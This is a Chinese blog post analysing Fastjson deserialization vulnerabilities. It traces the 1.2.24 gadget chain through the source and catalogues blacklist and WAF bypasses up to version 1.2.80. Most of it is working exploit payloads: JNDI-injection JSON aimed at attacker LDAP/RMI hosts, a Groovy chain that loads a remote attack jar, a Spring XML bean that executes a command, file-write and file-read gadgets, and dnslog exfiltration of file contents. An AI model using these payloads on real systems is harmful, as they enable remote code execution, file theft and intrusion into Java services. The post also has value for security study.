fastjson漏洞解析高清重制版
2023-08-29 19:41:01

介绍

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
Fastjson 源码地址:https://github.com/alibaba/fastjson
Fastjson 中文 Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

简单来说,他可以把java对象转换成json格式进行传输,有点类似于序列化和反序列化,便于数据传输,没有序列化接口的限制。

fastjson反序列化漏洞

当使用parse和parseObject处理数据时,在json数据中使用@type可以指定加载的类及数据,从而导致恶意字节码加载等操作

<=1.2.24 特别细致的讲解

这个版本没啥限制啊,打templatesImpl的无所谓,打jndi注入的时候要注意jdk版本

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["base64后的字节码"],
  "_name":"Aecous",
  "_tfactory":{},
  "_outputProperties":{}
}

or

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"ldap",
  "autoCommit":true
}

poc

public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
    //获取一个执行命令的恶意类
    byte[] calcs = tools.getshortclass("calc");
    String poc = Base64.getEncoder().encodeToString(calcs);
    String payload ="{\n" +
        "  \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
        "  \"_bytecodes\":[\""+poc+"\"],\n" +
        "  \"_name\":\"Aecous\",\n" +
        "  \"_tfactory\":{},\n" +
        "  \"_outputProperties\":{}\n" +
        "}";

    JSON.parseObject(payload, Feature.SupportNonPublicField);

}

进入parseObject
image.png
image.png
强转换,并调用parse,继续调用其他的parseimage.png
当作参数新建了一个JSONparse,继续调用parse函数
image.png
switch进入parseObject
image.png
从poc中以“分割提取出第一个参数为@type
image.png
满足条件,加载templatesImpl类
image.png
回到上一步,进入getDeserializer函数,clazz为加载的templatesImpl类
image.pngimage.png
继续进入getDeserializer,并将templatesImpl作为参数传入
image.png经过一系列的类型判断,进入createJavaBeanDeserializer
image.png

执行new JavaBeanDeserializer
image.png
image.png

进入JavaBeanInfo.build
image.png
通过反射获取类中所有的method和fields
image.png
遍历method
image.png
判断是否存在set 或 get开头,并且还有一些条件,像get开头的还要判断参数数量
image.png
image.png
会将满足条件的name去除开头 ,并添加fieldList中,注意此处method还是原来的名字
image.png
遍历结束后,会新建一个javaBeanInfo
image.png
对各个属性进行赋值
image.png
并将fieldlist复制到fields中,最后会传递给this.sortedFields
image.png
返回,进入另一个JavaBeanDeserializer
image.png
beanInfo就是我们build返回的类对象,会遍历其中sortedFields,对sortedFieldDeserializers进行赋值
image.png
返回,进入 deserializer.deserialze(this, clazz, fieldName);
image.png
image.png
image.png
一直向下
image.png
从sortedFieldDeserializers中取值赋于fieldDeser

当遍历完数组,fieldDeser为null时,
image.png
开始获取json数据中的参数
image.pngimage.pngimage.png
取出参数,一直向下,进入parseField
image.png
遍历templatesImpl类中的属性,判断是否存在该属性
image.png

向下
image.png
image.png
image.png
image.png
image.png

当轮到templatesImpl中的_outputProperties参数时
image.png
进入smartMatch函数
image.png
将key中的下划线和中划线去除,保留outputProperties,并设置snakeOrkbab为true,进入下面的if中的getFieldDeserializer(key2)
image.png
一个二分法查找,匹配到sortedFieldDeserializers中的outputProperties,并返回outputProperties方法对象
image.png
回到上级,再次返回该对象
image.png
最终调用此对象的parseField方法
image.png
进入setValue函数
image.png
从outputProperties获取其方法名,也就是getoutputProperties
image.png
方法名获取不为空,经过一系列判断,最终反射调用
image.png

1.2.25 — 1.2.41

在这个版本进行了大改,增加了一个autotype,默认为false
当autotype为false时只允许反序列化白名单中的类,但是默认情况下白名单是空的
当autotype为true时,基于内置黑名单来实现安全检测
增加了checkAutoType方法,在该方法中进行黑白名单的校验

将autoType设置为true,我们来看看反序列化做了啥改动,用的还是上面的1.2.24的poc
在检测key是否是@type时,多了一条checkAutoType,并将@type对应的类名传入
image.png
会在黑名单中匹配是否存在对应的类名,如果匹配到则抛出异常
image.png
image.png


{
  "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName":"ldap://192.168.1.13:1389/e86vb9",
  "autoCommit":true
}
public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://192.168.1.13:1389/e86vb9\", \"autoCommit\":true}";
    JSON.parse(PoC);

}

这里类用的是Lcom.sun.rowset.JdbcRowSetImpl,为啥要这个L呢?看看
image.png
有了这个L,就轻松的绕过了黑名单里的com.sun,因为那玩意是从头开始匹配的,在下面会进行一个loadclass
image.png
进入之后,可以看见,如果开头是L结尾是分号(;),就会截取中间内容,又变回了com.sun,然后在使用loadClass加载
image.png

1.2.25 —1.2.42


{
  "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName":"ldap://192.168.1.13:1389/e86vb9",
  "autoCommit":true
}

checkAutoType中加了一层,截取掉首位和尾位,然后再去检测黑名单,
image.png
但是后面loadClass中还是会去掉L和;,所以双写即可绕过image.png

1.2.25 — 1.2.43

{
  "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
  "dataSourceName":"ldap://",
  "autoCommit":true
}

和上面一样,避开了黑名单,进loadclass
image.png
className.substring(1)截取出com.sun.rowset.JdbcRowSetImpl,创建出类
在后续的加载中,token影响到漏洞的利用,token是读取你数据外的字节来赋予对应的值,所以下面来讲解token的流程

ch第一次从json数据中取值时,首位为{,那就赋值为12
image.png

当经过了checkAutoType之后,会使用lexer.nextToken(JSONToken.COMMA);再次为token赋值
image.png
重点是看ch,ch是我们下一个读的字符,也就是 “[com.sun.rowset.JdbcRowSetImpl”后面的[
image.png
image.png
在next函数中找到对应的【,赋值为14
image.png
后面进入parseArray判断token值是否等于14,不等于就抛出异常G了
image.png
接着再读一个token
image.png
ch之前在不知道哪个函数里再次读取字符赋值了,我又不可能一个个函数步入进去看,很累
ch为{,为token赋值为12
image.png为token赋值就是为了绕过JavaBeanDeserializer中deserialize函数中的if判断,当token为12或16时即可不进if,进了if好像就会抛出异常报错了,具体功能我就没去理解了,然后16对应的是,会被json数据识别,所以只能用{
image.png
后续就是正常的为类属性赋值,set方法调用了

1.2.25 — 1.2.45 myBatis依赖

新的版本中增加了对【的检测,所以之前的就失效了

{
  "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
  "properties":{
    "data_source":"ldap://localhost:1389/badNameClass"
  }
}

这里就丢个poc了,本质就是黑名单里没这个玩意,所以可以绕过

1.2.25 — 1.2.47

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}
未开启AutoTypeSupport

进入checkAutoType
image.png
避开了if里对类型的检测
image.png
进入findclass
image.png
image.pngclass类是在白名单里的,所以发挥class实例
再后续的deserialize时,clazz满足Class.class,进入loadClass,strVal为对应的值
image.png
满足条件,将jdbc添加刀了mappings中
image.png
当处理数据b时,再次使用TypeUtils.getClassFromMapping(typeName),便会从mappings中取出jdbc类
image.png
后续就是正常的赋值与触发getter

开启AutoTypeSupport

开启的话就会进入checkAutoType中的if判断,上面会取类名进行hash对比,class一样正常过
image.png
之后进入deserialize和上面一样,把jdbc添加进了mappings中
下面进b,还是来到checkAutoType中,jdbc库在黑名单中,满足了第一个要求,但是if判断还有另一个要求TypeUtils.getClassFromMapping(typeName) == null,我们上面通过class类将jdbc类型put进了mappings中,所以此处不为null,导致不会抛出异常,继续往下走,剩下的流程和上面一样了
image.png
image.png

高版本配合依赖

<1.2.66

基于黑名单绕过,要求autoTypeSupport为true才能使用,1.2.25版本后默认为false

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://1.1.1.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://1.1.1.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://1.1.1.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap:/1.1.1.1:1389/Calc"}}

<=1.2.68

JDBC

https://sumsec.me/2021/Fastjson_Mysql_gadget%E5%A4%8D%E7%8E%B0.html
JDBC的依赖,一般配合fake mysql打一些依赖的链子

<dependency>
	<groupId>mysql</groupId>
	<artifactId>mysql-connector-java</artifactId>
	<version>5.1.30</version>
</dependency>

poc

//Mysql connector 5.1.11-5.1.48
{"name": {"@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "CommonsCollections5", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }}

//Mysql connector 6.0.2 or 6.0.3
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy": {"connectionString":{"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"}}}

//Mysql connector 8.0.19
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters":[{"host":"127.0.0.1"}], "slaves":[],"properties":{"host":"127.0.0.1","user":"CommonsCollections5","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}

commons-io 读写文件

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

原生jdk>=11

修改array和limit,append为false是覆盖内容,为true是追加内容

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

文件内容构造脚本

from itsdangerous import base64_encode
import zlib
cc='Test123'.encode()
ccc=zlib.compress(cc)
print(len(ccc))
print(base64_encode(ccc))
commons IO 2.x写文件 支持JDK8

长度要求>8196,但是实际写入内容只有8192,配合java任意文件写入RCE使用,不过好像不一定能成,因为写入的数据最多8kb
https://landgrey.me/blog/22/

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}
commons-io读取文件

前提是存在数据的回显,比如return反序列化后数据

{
    "abc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file://"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [{
            "charsetName": "UTF-8",
            "bytes": [66]
        }]
    },
    "address": {
        "$ref": "$.abc.BOM"
    }
}

<=1.2.80

后面的修复就是将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单
1.2.80主要用异常类Throwable

http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#KCon2022-fastjson-1-2-80
https://y4er.com/posts/fastjson-1.2.80/

groovy

1.2.68的修复方式非常的简单粗暴,将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单,那么1.2.80用的就是另一个期望类:异常类Throwable
实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类

  • fastjson版本: 1.2.76 <= fastjson < 1.2.83
  • 存在groovy依赖

poc
https://github.com/Lonely-night/fastjsonVul/

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}



{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList":"http://127.0.0.1:8000/attack-1.jar"
    }
}

aspectj

  • fastjson1.2.73-1.2.80
  • 依赖aspectjtools

poc

{
    "@type":"java.lang.Exception",
    "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}


{
    "@type":"java.lang.Class",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",
             {
                "@type":"java.lang.String"
                "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
                "newAnnotationProcessorUnits":[{}]
            }
        }
    }


{
    "x":{
        "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName":"c:/windows/win.ini"
    }
}


//换poc3,dnslog带出数据
{ "a":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"1.txt"},
"b":{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{"$ref":"$"},"country":"x.xnfhnufo.dnslog.pw"}}
}}

aspectj+ognl文件读取+dnslog回显

{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"},"b":
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}

jython+postgresql+spring-context

{
    "a":{
    "@type":"java.lang.Exception",
    "@type":"org.python.antlr.ParseException",
    "type":{}
    },
    "b":{
        "@type":"org.python.core.PyObject",
        "@type":"com.ziclix.python.sql.PyConnection",
        "connection":{
            "@type":"org.postgresql.jdbc.PgConnection",
            "hostSpecs":[
                {
                    "host":"127.0.0.1",
                    "port":2333
                }
            ],
            "user":"user",
            "database":"test",
            "info":{
                "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
            },
            "url":""
        }
    }
}
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder">
    <constructor-arg>
      <list value-type="java.lang.String" >
        <value>cmd</value>
        <value>/c</value>
        <value>calc</value>
      </list>
    </constructor-arg>
    <property name="whatever" value="#{pb.start()}"/>
  </bean>
</beans>

小结

实际上fastjson还有非常多的利用链,只不过可能用起来过于苛刻,例如只能进行文件的字节盲注等,我就不记了,再以下的链接中都有

https://github.com/su18/hack-fastjson-1.2.80
https://myzxcg.com/2021/10/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87%E4%B8%8E%E5%88%A9%E7%94%A8/#fastjson-%E7%BB%95%E8%BF%87
https://blog.csdn.net/Xxy605/article/details/123364720
https://www.cnblogs.com/Aurora-M/p/15683941.html
https://www.cnblogs.com/CoLo/p/15842880.html#fastjson-1225%E4%BF%AE%E5%A4%8D
https://xz.aliyun.com/t/9052#toc-10
https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/#1-2-36%E7%89%88%E6%9C%AC%E5%89%8D

Fastjson Bypass

在很久之前有在y4✌的博客看见过,学习了一下,后面在一次护网面试中也被问到了这个问题,也算全部回答出来了,现在调试了fastjson就更深有体会
这边就当一下复制人了,因为我用的时候也会看笔记,所以就直接复制了
https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/#%E5%88%9D%E7%BA%A7%E7%AF%87

空白字符绕过

com.alibaba.fastjson.parser.JSONLexerBase#skipWhitespace

public final void skipWhitespace() {
        while(true) {
            while(true) {
                if (this.ch <= '/') {
                    if (this.ch == ' ' || this.ch == '\r' || this.ch == '\n' || this.ch == '\t' || this.ch == '\f' || this.ch == '\b') {
                        this.next();
                        continue;
                    }

                    if (this.ch == '/') {
                        this.skipComment();
                        continue;
                    }
                }

                return;
            }
        }
    }

这是读取键值时候的操作,看函数名就应该能知道,跳过空白字符

空格 \r \n \t \f \b

逗号绕过

FastJson中有个默认的Feature是开启的AllowArbitraryCommas,这允许我们用多个逗号
image.png//图也是原文的,我懒得截了

{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true}

json字段名不被引号包括

也是一个默认开启的Feature,AllowUnQuotedFieldNames,但是只在恢复字段的过程调用当中有效果

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
||
\/
{"@type":"com.sun.rowset.JdbcRowSetImpl",dataSourceName:"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

json字段名使用单引号包裹

Feature.AllowSingleQuote也是默认开启,就是可以用单引号替代双引号

@type后值的第一个引号可以被替换

{"@type":xcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

编码绕过 unicode/hex

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol中,当遇见了\u和\x会有解密操作
之前一题有遇见过,直接贴个poc

String payload = "{\n" +
        "    \"1\": {\n" +
        "        \"@\\u0074\\u0079\\u0070\\u0065\": \"java.lang.Class\", \n" +
        "        \"val\": \"com.sun.rowset.\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\"\n" +
        "    }, \n" +
        "    \"2\": {\n" +
        "        \"@\\u0074\\u0079\\u0070\\u0065\": \"com.sun.rowset.\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\", \n" +
        "        \"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\": \"rmi://192.168.1.13:1099/v4v9uh\", \n" +
        "        \"\\u0061\\u0075\\u0074\\u006f\\u0043\\u006f\\u006d\\u006d\\u0069\\u0074\": true\n" +
        "    }\n" +
        "}\n";
System.out.println(Base64.getEncoder().encodeToString(payload.getBytes()));
JSON.parse(payload);

对字段添加下划线和-号

<1.2.36
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField中
使用的smartMath会取出下划线和-号
具体可以看上面我分析templates链时,去掉了_output的那个,不过由于有break,所以只能用其中一种

{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

1.2.36
smartMatch调用了com.alibaba.fastjson.util.TypeUtils#fnv1a_64_lower
image.png
会直接忽略所有的_和-

{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a-t-aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

对属性前添加is >1.2.36

{"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","isdataSourceName": "rmi://127.0.0.1:1099/Exploit","isautoCommit": true}}

还是在smartMathc中,遇见is开头的会去除
image.png

结尾

现在时间是04点38分,我好累,歇逼了,去yys打缘神活动了,回头还要去顺火暖清日常
394E4257F960548B4EC8B91FCA0C7B07.png

Prev
2023-08-29 19:41:01
Next